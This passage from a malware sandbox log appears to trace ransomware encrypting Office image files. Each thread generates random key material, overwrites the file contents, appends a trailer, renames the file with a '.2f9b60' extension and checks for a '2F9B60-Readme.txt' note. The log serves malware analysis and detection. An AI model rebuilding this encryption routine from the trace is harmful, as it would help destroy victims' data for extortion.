hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.085] ReadFile (in: hFile=0x1b48, lpBuffer=0x421ac5b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2bb0fd60, lpOverlapped=0x0 | out: lpBuffer=0x421ac5b0*, lpNumberOfBytesRead=0x2bb0fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0140.098] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0140.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0140.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bdc0 [0140.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bdc0) returned 1 [0140.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421b79e0 [0140.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bdc0 [0140.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0140.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0140.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0140.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0140.100] WriteFile (hFile=0x1b48, lpBuffer=0x421b79e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2bb0fd60, lpOverlapped=0x0) [0179.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421b79e0) returned 1 [0179.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ac5b0) returned 1 [0179.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9fdf0 [0179.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ec0 [0179.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0179.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0110 [0179.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0110) returned 1 [0179.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9e9b0 [0179.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0110 [0179.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2960 [0179.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2960) returned 1 [0179.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0179.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ec0) returned 1 [0179.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x42c21000 [0179.989] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0179.989] WriteFile (in: hFile=0x1b48, lpBuffer=0x42c21000*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2bb0fe10, lpOverlapped=0x0 | out: lpBuffer=0x42c21000*, lpNumberOfBytesWritten=0x2bb0fe10*=0x11c, lpOverlapped=0x0) returned 1 [0206.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21000) returned 1 [0206.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e9b0) returned 1 [0206.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0110) returned 1 [0206.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fdf0) returned 1 [0206.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bdc0) returned 1 [0206.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205be20) returned 1 [0206.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bee0) returned 1 [0206.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf10) returned 1 [0206.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4311b9e0 [0206.234] wcscpy (in: _Dest=0x4311b9e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" [0206.235] wcscat (in: _Dest=0x4311b9e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg.2f9b60" [0206.235] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg.2f9b60", NtPathName=0x2bb0fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1ced0ac0 [0223.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0ac0) returned 1 [0223.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432280d0) returned 1 [0223.947] NtQueryInformationFile (in: FileHandle=0x1b48, IoStatusBlock=0x2bb0fe98, FileInformation=0x2bb0fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bb0fe98, FileInformation=0x2bb0fea8) returned 0x0 [0223.947] NtSetInformationFile (FileHandle=0x1b48, IoStatusBlock=0x2bb0fe98, FileInformation=0x2bb0fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311b9e0) returned 1 [0224.547] FlushFileBuffers (hFile=0x1b48) returned 1 [0224.637] CloseHandle (hObject=0x1b48) returned 1 [0225.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b863170 [0225.672] wcscpy (in: _Dest=0x1b863170, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0225.672] wcscat (in: _Dest=0x1b863170, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0225.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0225.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863170) returned 1 [0225.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862eb0) returned 1 Thread: id = 1862 os_tid = 0xcbc [0133.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp")) returned 0x20 [0135.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0138.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f54 [0141.674] GetFileSizeEx (in: hFile=0x1f54, lpFileSize=0x2b4af9c0 | out: lpFileSize=0x2b4af9c0*=3896) returned 1 [0141.674] SetFilePointerEx (in: hFile=0x1f54, liDistanceToMove=0xf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.674] ReadFile (in: hFile=0x1f54, lpBuffer=0x2b4af940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b4af988, lpOverlapped=0x0 | out: lpBuffer=0x2b4af940*, lpNumberOfBytesRead=0x2b4af988*=0x4, lpOverlapped=0x0) returned 1 [0141.762] SetFilePointerEx (in: hFile=0x1f54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdde0 [0141.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.763] NtQuerySystemTime (in: CurrentTime=0x2b4af880 | out: CurrentTime=0x2b4af880*=132462177470062000) returned 0x0 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x5ff05263 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x39e48076 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x53dc2e4d [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0xad6d935 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x3ef614bd [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x521df8d9 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x7c24ed53 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x20543605 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0xc9dd670 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x2e0661cb [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x56115b65 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x1368c1a7 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x68b98d4c [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x557de2dd [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x198dd075 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x1a84be4e [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x3926ae28 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x20424280 [0141.763] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x18e7043 [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x6fee25d5 [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x43f04fbb [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0xdb5fcbb [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x23d8f342 [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x7cdb49b8 [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x5ddab4d5 [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x37eaeb2b [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x6df1db33 [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0xe4ffddc [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x7ff73cf2 [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x3b625ce1 [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x4f631143 [0141.764] RtlRandomEx (in: Seed=0x2b4af870 | out: Seed=0x2b4af870) returned 0x22f4105d [0141.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdbd0 [0141.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0141.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe020 [0141.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0141.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0141.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0141.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42272140 [0141.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42284d90 [0141.775] ReadFile (in: hFile=0x1f54, lpBuffer=0x42272140, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x2b4af870, lpOverlapped=0x0 | out: lpBuffer=0x42272140*, lpNumberOfBytesRead=0x2b4af870*=0xf38, lpOverlapped=0x0) returned 1 [0141.775] SetFilePointerEx (in: hFile=0x1f54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.775] WriteFile (hFile=0x1f54, lpBuffer=0x42284d90, nNumberOfBytesToWrite=0xf38, lpNumberOfBytesWritten=0x2b4af874, lpOverlapped=0x0) [0180.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0180.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0180.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0180.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42284d90) returned 1 [0180.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42272140) returned 1 [0180.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0180.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0180.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0180.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0180.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0180.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0180.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0180.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x4205a000 [0180.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0180.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9350 [0180.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9350) returned 1 [0180.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0180.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0180.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x42c21850 [0180.159] SetFilePointerEx (in: hFile=0x1f54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.159] WriteFile (in: hFile=0x1f54, lpBuffer=0x42c21850*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2b4af990, lpOverlapped=0x0 | out: lpBuffer=0x42c21850*, lpNumberOfBytesWritten=0x2b4af990*=0x124, lpOverlapped=0x0) returned 1 [0199.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21850) returned 1 [0199.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a000) returned 1 [0199.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0199.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0199.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7170) returned 1 [0199.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdde0) returned 1 [0199.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdbd0) returned 1 [0199.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe020) returned 1 [0199.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x431ec7e0 [0199.940] wcscpy (in: _Dest=0x431ec7e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" [0199.940] wcscat (in: _Dest=0x431ec7e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp.2f9b60" [0199.940] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp.2f9b60", NtPathName=0x2b4af9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1ced0120 [0224.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0120) returned 1 [0224.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19730) returned 1 [0224.078] NtQueryInformationFile (in: FileHandle=0x1f54, IoStatusBlock=0x2b4afa18, FileInformation=0x2b4afa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b4afa18, FileInformation=0x2b4afa28) returned 0x0 [0224.078] NtSetInformationFile (FileHandle=0x1f54, IoStatusBlock=0x2b4afa18, FileInformation=0x2b4afa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ec7e0) returned 1 [0225.346] FlushFileBuffers (hFile=0x1f54) returned 1 [0225.546] CloseHandle (hObject=0x1f54) returned 1 [0226.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050cf50 [0226.069] wcscpy (in: _Dest=0x2050cf50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0226.069] wcscat (in: _Dest=0x2050cf50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0226.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0226.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cf50) returned 1 [0226.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202785f0) returned 1 Thread: id = 1863 os_tid = 0xcc0 [0133.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg")) returned 0x20 [0135.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg", dwFileAttributes=0x20) returned 1 [0138.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f44 [0141.605] GetFileSizeEx (in: hFile=0x1f44, lpFileSize=0x2bc5f800 | out: lpFileSize=0x2bc5f800*=6499) returned 1 [0141.605] SetFilePointerEx (in: hFile=0x1f44, liDistanceToMove=0x195f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.605] ReadFile (in: hFile=0x1f44, lpBuffer=0x2bc5f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bc5f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2bc5f780*, lpNumberOfBytesRead=0x2bc5f7c8*=0x4, lpOverlapped=0x0) returned 1 [0141.691] SetFilePointerEx (in: hFile=0x1f44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0141.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe0b0 [0141.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe140 [0141.691] NtQuerySystemTime (in: CurrentTime=0x2bc5f6c0 | out: CurrentTime=0x2bc5f6c0*=132462177469282000) returned 0x0 [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x936e129 [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x2456a167 [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x550a7a7 [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x608446c7 [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x35aac6f5 [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x70f5ca94 [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x29ccf8cd [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x661ac77e [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x36b77cc7 [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x9db6ae [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x32a7be88 [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x214156ba [0141.691] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x57e1cb56 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x3969b810 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x36e5b995 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x2967e6ab [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x7cb6dd89 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x7bed18d6 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0xb6d01cd [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x676ae7d9 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x39c55db2 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x36b305b8 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x5a18c8d1 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x47cf9cf5 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x1208c1f0 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x6057734e [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x453299e6 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x33532488 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x6b0703b9 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x64276e2c [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x34f26123 [0141.692] RtlRandomEx (in: Seed=0x2bc5f6b0 | out: Seed=0x2bc5f6b0) returned 0x6a0dc222 [0141.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe170 [0141.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061630 [0141.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe1a0 [0141.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061630) returned 1 [0141.704] RtlFreeHeap (HeapHandle=0xa0000, 